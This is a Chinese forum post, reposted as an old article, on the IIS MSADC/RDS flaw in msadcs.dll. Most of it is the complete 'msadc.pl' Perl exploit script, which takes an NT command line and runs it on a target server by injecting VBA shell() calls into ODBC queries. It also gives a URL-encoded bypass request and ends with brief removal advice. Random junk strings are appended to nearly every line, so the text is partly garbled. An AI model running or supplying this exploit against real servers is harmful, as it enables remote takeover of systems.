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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) = Yh>5A  
-:a 9'dT  
涉及程序: lx U}HM  
Microsoft NT server ub+>i  
S=krF yFw  
描述: 3,oFT   
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 _ 97F  
S<88>|&n]  
详细: qK.8^{b  
如果你没有时间读详细内容的话,就删除: FFR_1Vf  
c:\Program Files\Common Files\System\Msadc\msadcs.dll cEve70MV  
有关的安全问题就没有了。 ["MF-tQ5  
:~ zK0v"  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 /]F3t]FlC  
Gow_a'  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Sw%=/g  
关于利用ODBC远程漏洞的描述,请参看: p!|Wp  
iZg v VH  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ls5|4%+&  
@,i:fY  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 QI=",vma u  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4@/[aFH  
2o6KVQ  
这里不再论述。 (t>BO`,  
fg*IHha  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ?bmP<(N5/  
B3c rms['  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset X*]uLgbl  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! w/~,mzM"  
#J)sz,)(  
9p+DA s{i  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Br`Xw^S  
XcR2]\  
#!perl XBF#ILJ  
# $FNj>1  
# MSADC/RDS 'usage' (aka exploit) script ht!o_0{~  
# S'9T>&<Kn  
# by rain.forest.puppy .,o=#  
# wta\C{{  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me "n}J6   
# beta test and find errors! Owo2DsT t  
O:{I9V-=>s  
use Socket; use Getopt::Std; J)x-Yhe  
getopts("e:vd:h:XR", \%args); !L2R0Y:a  
i`z1if6O  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; -ce N}Cb3  
q}*(rR9/Br  
if (!defined $args{h} && !defined $args{R}) { i 'H{cN6  
print qq~ 8uP,#D<wZ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ]EnB`g(4;  
-h <host> = host you want to scan (ip or domain) &;&i#ZO  
-d <seconds> = delay between calls, default 1 second p3&/F=T;)  
-X = dump Index Server path table, if available |j^^ *z@  
-v = verbose &-:ZM0Fl  
-e = external dictionary file for step 5 l<ag\ d  
S*Qip,u  
Or a -R will resume a command session fFMGpibkM  
fIN F;TK  
~; exit;} =kp #v  
f7Y0L8D  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; =ps3=D  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} b^~ keQ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} !trt]?*-  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); %YkJ A:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} :1^ R$0d  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } b|^g51v  
B8F.}M-!  
if (!defined $args{R}){ $ret = &has_msadc; )a AKO`  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} /BjM&v(5/  
JR8 b[Oj.S  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" _PLY<i2vr  
. "cmd /c "; 9t:F![rg  
$in=<STDIN>; chomp $in; {Fs}8\z  
$command="cmd /c " . $in ; V(I!HT5.W  
)e(Rf!P{  
if (defined $args{R}) {&load; exit;} Ls< ";QJc  
L.ScC  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; HY0q!.qog  
&try_btcustmr; ajC'C!"^Ty  
x' >Nz{B,P  
print "\nStep 2: Trying to make our own DSN..."; -^LUa]"E  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; gqV66xmJ3  
_0N=~`'  
print "\nStep 3: Trying known DSNs..."; #5)0~4%l  
&known_dsn; K&Ner(/X`6  
sL" h  
print "\nStep 4: Trying known .mdbs..."; me:~q#k  
&known_mdb; =lT~  
RfH.WXi  
if (defined $args{e}){ 1N6.r:wg)%  
print "\nStep 5: Trying dictionary of DSN names..."; jBZlN Ew  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,I6jfXI4  
POvxZU  
print "Sorry Charley...maybe next time?\n"; vUm#^/#I  
exit; Zk,` Iq  
JjA3G`m=  
############################################################################## a%| I'r  
I@Cq<:+(3  
sub sendraw { # ripped and modded from whisker 1 aWzd[i  
sleep($delay); # it's a DoS on the server! At least on mine... MDV<[${   
my ($pstr)=@_; !%MI9Ok  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || v: \8  
die("Socket problems\n"); H#H@AY3Y  
if(connect(S,pack "SnA4x8",2,80,$target)){ YnM&t ;TX  
select(S); $|=1; [v47_ 5O  
print $pstr; my @in=<S>; V"Cx5#\7C  
select(STDOUT); close(S); 0lpkG ="&r  
return @in; `+DH@ce  
} else { die("Can't connect...\n"); }} { 0\Ez}  
J]&^A$  
############################################################################## 0s9-`nHen|  
(~>uFH  
sub make_header { # make the HTTP request CD^C}MB  
my $msadc=<<EOT W X"iDz.  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 TF]bmM})0  
User-Agent: ACTIVEDATA &10l80vj  
Host: $ip 7Qdf#DG  
Content-Length: $clen 9S 'u 1%  
Connection: Keep-Alive ->Z9j(JU  
\r %y^G  
ADCClientVersion:01.06 HQp\0NC]  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 UY>[  
8y:/!rRN  
--!ADM!ROX!YOUR!WORLD! CdBpz/  
Content-Type: application/x-varg (vX) <Z !  
Content-Length: $reqlen 1G}f83yR  
oW}nr<G{<  
EOT J`6IH#54  
; $msadc=~s/\n/\r\n/g; [^Z)f<l  
return $msadc;} R*[X. H  
#ovausK[7  
############################################################################## BiY-u/bH9a  
G]]"J c  
sub make_req { # make the RDS request G2$<Q+UYs?  
my ($switch, $p1, $p2)=@_; # &,W x  
my $req=""; my $t1, $t2, $query, $dsn; "Jahc.I  
jJY{np  
if ($switch==1){ # this is the btcustmr.mdb query O]4v\~@-j  
$query="Select * from Customers where City=" . make_shell(); ?"F9~vx&G  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . HNJR&U t  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} o3"Nxq"U  
eOoqH$ i  
elsif ($switch==2){ # this is general make table query OV G|WC  
$query="create table AZZ (B int, C varchar(10))"; zif&;)wV/  
$dsn="$p1";} nND; lVQSO  
@m5c<(bkfp  
elsif ($switch==3){ # this is general exploit table query vjL +fH<0:  
$query="select * from AZZ where C=" . make_shell(); |}7!'f\M  
$dsn="$p1";} lw]uH<v  
+>&i]x(b  
elsif ($switch==4){ # attempt to hork file info from index server H#S`m  
$query="select path from scope()"; F?z:[1(:  
$dsn="Provider=MSIDXS;";} ZveNe~D7C  
~6"=d  
elsif ($switch==5){ # bad query KqN;a i,F  
$query="select"; $@D*/@  
$dsn="$p1";} "MvSF1  
"ejsz&n  
$t1= make_unicode($query); f,|g|&C  
$t2= make_unicode($dsn); 3'Hz,qP  
$req = "\x02\x00\x03\x00"; Kv9$c(~#  
$req.= "\x08\x00" . pack ("S1", length($t1)); zfD@/kU  
$req.= "\x00\x00" . $t1 ; \#h{bnx  
$req.= "\x08\x00" . pack ("S1", length($t2)); mm9uhlV8  
$req.= "\x00\x00" . $t2 ; 0HO'%'Ga*  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; _l"=#i@L  
return $req;} )Q 5 x%  
fN1b+ d~*6  
############################################################################## p,V%wGM  
Q>q-6/|UX  
sub make_shell { # this makes the shell() statement  Y(  
return "'|shell(\"$command\")|'";} \@Gcx}Y8h  
MQQQaD:v  
############################################################################## sf0\#Q  
hx*4xF  
sub make_unicode { # quick little function to convert to unicode <PFF\NE9  
my ($in)=@_; my $out; nQOzKw<j%  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } W}y)vrL  
return $out;} K.=5p/^a  
EJP]E)  
############################################################################## +1a3^A\  
i)]f0F  
sub rdo_success { # checks for RDO return success (this is kludge) L PS,\+  
my (@in) = @_; my $base=content_start(@in); y^e3Gyk  
if($in[$base]=~/multipart\/mixed/){ aX~Jk >a0  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Lu~E5 ,  
return 0;} jo?[M  
HOx+umjxW  
############################################################################## v8WT?%  
qw*) R#=  
sub make_dsn { # this makes a DSN for us ]61Si~Z  
my @drives=("c","d","e","f"); h56Kmxxk  
print "\nMaking DSN: "; 0~EGrEt  
foreach $drive (@drives) { Zb&pH~ 7  
print "$drive: "; bEB2q\|Je  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . @eZBwFe  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" l[]cUE  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); "hQGk  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; H0!$aO  
return 0 if $2 eq "404"; # not found/doesn't exist 5*f54g"'  
if($2 eq "200") { L }3eZ-  
foreach $line (@results) { +~BP~  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} $hHV Ie]+  
} return 0;} J>k 6`gw  
ZqdoYU'  
############################################################################## /\_n5XI1  
0WfnX>(C7R  
sub verify_exists { 1hlU 6 =Y  
my ($page)=@_; ]DU?N7J  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 2y \ogF  
return $results[0];} $.t>* Bq  
.heU Ir,  
############################################################################## jV9oTH-  
kMK0|+  
sub try_btcustmr { /D1Lh_,2  
my @drives=("c","d","e","f"); g~b$WV%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 'l`prp3  
-)B_o#2=2  
foreach $dir (@dirs) { "OA{[)fw"  
print "$dir -> "; # fun status so you can see progress Ssuz%*  
foreach $drive (@drives) { >MKj~Ud  
print "$drive: "; # ditto ^-Ygh[x  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; A)4XQF  
$reqlenlen=length( "$reqlen" ); -ycdg'v  
$clen= 206 + $reqlenlen + $reqlen; #qmsZHd}b  
\'<P~I&p  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); dCS f$5  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} c|`$ h  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} $|@vmv0  
UgK c2~  
############################################################################## Z\Ur F0  
$/|) ,n  
sub odbc_error { },#7  
my (@in)=@_; my $base; ,Pcg+^A  
my $base = content_start(@in); !zx8I7e4  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this /gl8w-6  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {:("oK6w  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !H)-  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5O d]rE  
return $in[$base+4].$in[$base+5].$in[$base+6];} OA=~ i/n~  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; wBwTJCX  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . F[$cE  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #T2J +  
&^DVSVqs^  
############################################################################## GF8wKx#J  
^g|cRI_"  
sub verbose { hm d3W`8D  
my ($in)=@_;  U-4F  
return if !$verbose; <$zhNu~  
print STDOUT "\n$in\n";} k_,& Q?GtU  
YS){ N=g&'  
############################################################################## HnKgD:  
jq*`| m;Q  
sub save { !rr,(!Ip?O  
my ($p1, $p2, $p3, $p4)=@_; V`#2jDz  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ;h+~xxu=X  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; L;$>SLl,  
close OUT;} ,0,FzxX0!  
YfB)TK\W9/  
############################################################################## w6cl3J&  
c+e?xXCEAz  
sub load { znTi_S  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]#^v754X^T  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); S<Gm*$[7  
@p=<IN>; close(IN); 4Ex&AR8  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Zs=A<[  
$target= inet_aton($ip) || die("inet_aton problems"); 2O[sRm)  
print "Resuming to $ip ..."; t~j 6wsx;  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; l;@+=uVDHm  
if($p[1]==1) {  *0^~@U  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ll4CF}k  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 2<I=xWwFA  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); >h;]rMD!|  
if (rdo_success(@results)){print "Success!\n";} wV==sV  
else { print "failed\n"; verbose(odbc_error(@results));}} qc @cd i  
elsif ($p[1]==3){ *$-X&.h[  
if(run_query("$p[3]")){ {<gv1Yht  
print "Success!\n";} else { print "failed\n"; }} rY45.,qWs  
elsif ($p[1]==4){ v;o1c44;  
if(run_query($drvst . "$p[3]")){ zU ~ Ff"<  
print "Success!\n"; } else { print "failed\n"; }} [QgP6f]=  
exit;} 6d6cZGS[:  
Vn sV&cx  
############################################################################## ;un@E:  
77O$^fG2  
sub create_table { N~8H\  
my ($in)=@_; { sC Ni  
$reqlen=length( make_req(2,$in,"") ) - 28; e7@ m i  
$reqlenlen=length( "$reqlen" ); %5gdLm!p  
$clen= 206 + $reqlenlen + $reqlen; "Esl I  
my @results=sendraw(make_header() . make_req(2,$in,"")); Mg`!tFe3  
return 1 if rdo_success(@results); .yZLC%}  
my $temp= odbc_error(@results); verbose($temp); J@I>m N1\  
return 1 if $temp=~/Table 'AZZ' already exists/; ~h3G}EH  
return 0;} p  lnH  
/_qq(,3  
############################################################################## 5N|LT8P}Z  
8eS(gKD  
sub known_dsn { W34xrm  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go zx}+Q B0  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ~hvj3zC5xz  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", M<w.q|P  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); (O0Ry2u k  
)C8^'*!  
foreach $dSn (@dsns) { ?/3wO/7[  
print "."; !t23 _b0  
next if (!is_access("DSN=$dSn")); /Pg)7Zn  
if(create_table("DSN=$dSn")){ gE2(E0H  
print "$dSn successful\n"; }Kgi!$<aQx  
if(run_query("DSN=$dSn")){ XMI*obS'z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { c]|vg=W  
print "Something's borked. Use verbose next time\n";}}} print "\n";} bu _ @>`S  
TI7$J#  
############################################################################## cRnDAn#42  
4@-tT;$  
sub is_access { LBy`N_@  
my ($in)=@_; gS +X%  
$reqlen=length( make_req(5,$in,"") ) - 28; M?h{'$T  
$reqlenlen=length( "$reqlen" ); 3k)xzv%r`  
$clen= 206 + $reqlenlen + $reqlen; gLv+L]BnhH  
my @results=sendraw(make_header() . make_req(5,$in,"")); |:R\j0t  
my $temp= odbc_error(@results); <=7nTcO~  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); vTK%8qoZ  
return 0;} );.$  `0  
9xK>fM&u  
############################################################################## _s^tL2Pc  
l[T-Ak  
sub run_query { utZI'5i  
my ($in)=@_; ,H7_eVLWR  
$reqlen=length( make_req(3,$in,"") ) - 28; "mJo<i}  
$reqlenlen=length( "$reqlen" ); 0vqH-)}  
$clen= 206 + $reqlenlen + $reqlen; %]LoR$|Y  
my @results=sendraw(make_header() . make_req(3,$in,"")); ]20:8l'  
return 1 if rdo_success(@results); _R\FB|_  
my $temp= odbc_error(@results); verbose($temp); arm_SyL0  
return 0;} -NwG' U~  
zq</(5H  
############################################################################## fxcE1=a  
b;QgL_w  
sub known_mdb { v"1&xe^4  
my @drives=("c","d","e","f","g"); XE2Un1i}j1  
my @dirs=("winnt","winnt35","winnt351","win","windows"); eV?%3h.   
my $dir, $drive, $mdb; :5~Dca_iU4  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Sn-#Y(>]o0  
QIkFX.^  
# this is sparse, because I don't know of many h~#F2#.  
my @sysmdbs=( "\\catroot\\icatalog.mdb", P}Ig6^[m\  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", wnX;eU/n  
"\\system32\\certmdb.mdb", }6[jJ`=gOx  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 0e8  
VjWJx^ZL#  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", uY~mi9E  
"\\cfusion\\cfapps\\forums\\forums_.mdb", _ooHB>sH  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ]  & ]G  
"\\cfusion\\cfapps\\security\\realm_.mdb", DL bP$&o  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", @M\JzV4 A[  
"\\cfusion\\database\\cfexamples.mdb", hD5@PeLh  
"\\cfusion\\database\\cfsnippets.mdb", _W(xO |,M  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 1^$hbRq  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", @-)S*+8  
"\\cfusion\\brighttiger\\database\\cleam.mdb", : _Y^o  
"\\cfusion\\database\\smpolicy.mdb", ph6/+[:  
"\\cfusion\\database\cypress.mdb", H,KH}25  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 5]*lH t  
"\\website\\cgi-win\\dbsample.mdb", AIOGa<^  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", s&ox%L4  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" uO1^Q;F  
); #these are just M{p6&eg  
foreach $drive (@drives) { RbUir185Y  
foreach $dir (@dirs){ c= 2E/x?  
foreach $mdb (@sysmdbs) { ]rGd!"q  
print "."; waC i9  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ *P *.'XM  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; EO+Ix7w  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ e[x,@P`  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; > U3>I^Y  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ;L87 %P(.  
T|\sN*}\8J  
foreach $drive (@drives) { VT>-*  
foreach $mdb (@mdbs) { Q']'KU.  
print "."; rIPg,4y*S!  
if(create_table($drv . $drive . $dir . $mdb)){ \|X 1  
print "\n" . $drive . $dir . $mdb . " successful\n"; N''xdz3Z  
if(run_query($drv . $drive . $dir . $mdb)){ 0 F8xS8vK+  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; !(bYh`Uy  
} else { print "Something's borked. Use verbose next time\n"; }}}} suQ`a_ zJ  
} u^C\aujg  
j*8Ze!^  
############################################################################## ShRMzU  
|qpm  
sub hork_idx { LL:N/1ysG  
print "\nAttempting to dump Index Server tables...\n"; :Dr4?6hdr  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; >*/ |t L  
$reqlen=length( make_req(4,"","") ) - 28; XH0{|#hwN  
$reqlenlen=length( "$reqlen" ); q@1A2L\Om  
$clen= 206 + $reqlenlen + $reqlen; \zcSfNE  
my @results=sendraw2(make_header() . make_req(4,"","")); n"iaE  
if (rdo_success(@results)){ 6/QWzw.0c  
my $max=@results; my $c; my %d; $hJ 4=F  
for($c=19; $c<$max; $c++){ &VjPdu57  
$results[$c]=~s/\x00//g; OvdBUcp[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; %\v  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; G|?V}pZ  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ~>]Ie~E: (  
$d{"$1$2"}="";} ! pa7]cZ  
foreach $c (keys %d){ print "$c\n"; } jz'%(6#'gW  
} else {print "Index server doesn't seem to be installed.\n"; }} ]%7m+-h@  
4u p7 :?  
############################################################################## /jaO\t'q  
%D7^.  
sub dsn_dict { HE4S%#bH>  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 2DZ&g\|  
while(<IN>){ C>l (4*S  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; |Qpo[E }a  
next if (!is_access("DSN=$dSn")); qsN}KgTjg  
if(create_table("DSN=$dSn")){ 5U_ar   
print "$dSn successful\n"; 50S*_4R  
if(run_query("DSN=$dSn")){ qk&BCkPT  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { qqYQ/4Ajw  
print "Something's borked. Use verbose next time\n";}}} UA0R)BH'  
print "\n"; close(IN);} BhyLcUBuB  
\>/AF<2"  
############################################################################## >]bS"S  
}q/[\3  
sub sendraw2 { # ripped and modded from whisker F j"]C.6B.  
sleep($delay); # it's a DoS on the server! At least on mine... p{V(! v|  
my ($pstr)=@_; kx0w?A8-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || f`J[u!Ja  
die("Socket problems\n"); DqH]FS?]  
if(connect(S,pack "SnA4x8",2,80,$target)){ |Pse=_i  
print "Connected. Getting data"; A.P*@}9  
open(OUT,">raw.out"); my @in; ]G~u8HPH!m  
select(S); $|=1; print $pstr; xUs1-O1i  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} z\IZ5'  
close(OUT); select(STDOUT); close(S); return @in; 3A b_Z  
} else { die("Can't connect...\n"); }} 7sJGB^vM  
kb*b|pWlO  
############################################################################## F.R0c@&W  
0c#|LF_  
sub content_start { # this will take in the server headers # f{L;  
my (@in)=@_; my $c; b@1";+(27  
for ($c=1;$c<500;$c++) { WoMMAo~  
if($in[$c] =~/^\x0d\x0a/){ <daBP[  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } L: _pJP  
else { return $c+1; }}} 4kLTKm:G  
return -1;} # it should never get here actually u z>V  
^W,x  
############################################################################## 3D rW[\  
^#j{9FpPs  
sub funky { SL% Ec%9Y  
my (@in)=@_; my $error=odbc_error(@in); cy_zEJjbD  
if($error=~/ADO could not find the specified provider/){ /%)x!dmy  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Il s^t  
exit;} {B\lk:"X  
if($error=~/A Handler is required/){ 1\Vp[^#Vx  
print "\nServer has custom handler filters (they most likely are patched)\n"; R 9Y k9v  
exit;} 7vsXfIP+  
if($error=~/specified Handler has denied Access/){ $QuSmA<4lS  
print "\nServer has custom handler filters (they most likely are patched)\n"; Nxt z1  
exit;}} UXV>#U?  
FkIT/H  
############################################################################## /T/7O  
h`p9H2}0  
sub has_msadc { c:z<8#A}  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Xc@%_6  
my $base=content_start(@results); !xZ`()D#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ?9AtFT  
return 0;} v/DWy(CC  
SSI('6Z/  
######################## DC%H(2  
cY\"{o"C  
RjCEo4b-.H  
解决方案: qc`UDD5  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll FiJU *  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 WKPuIE:  
G_a//[p  
拿出来充数 哈哈
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